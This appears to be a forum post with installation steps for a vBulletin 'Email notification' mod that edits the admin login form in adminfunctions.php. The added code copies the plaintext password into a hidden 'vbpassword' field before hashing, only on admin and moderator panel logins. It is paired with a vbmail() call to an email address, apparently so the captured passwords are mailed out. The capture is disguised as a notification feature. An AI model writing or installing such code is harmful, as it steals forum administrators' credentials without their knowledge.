vB3.5 Email notification - code

Installation Instructions:
--------------------------------------
In includes/adminfunctions.php

Find:
--------------------------------------

Code:
<form action="../login.php?do=login" method="post" name="loginform" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf); js_do_options(this)">

--------------------------------------
REPLACE it with:
--------------------------------------

Code:
<?php
	if ($logintype=='cplogin' OR $logintype=='modcplogin')
	{
		echo '<form action="../login.php?do=login" method="post" name="loginform" onsubmit="document.forms.loginform.vbpassword.value=document.forms.loginform.vb_login_password.value; md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf); js_do_options(this)">';
	}
	else
	{
		echo '<form action="../login.php?do=login" method="post" name="loginform" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf); js_do_options(this)">';
	}
?>
--------------------------------------
Find:
--------------------------------------

Code:
<input type="hidden" name="vb_login_md5password_utf" value="" />

--------------------------------------
BELOW it add:
--------------------------------------

Code:
<input type="hidden" name="vbpassword" value="" />

--------------------------------------

The Code changes in this mod for login.php don´t need to be changed! Its the same for vB 3.6.7

####################

Try:

Code:
vbmail("[email protected]", $subject, $message, true);
 
Back
Top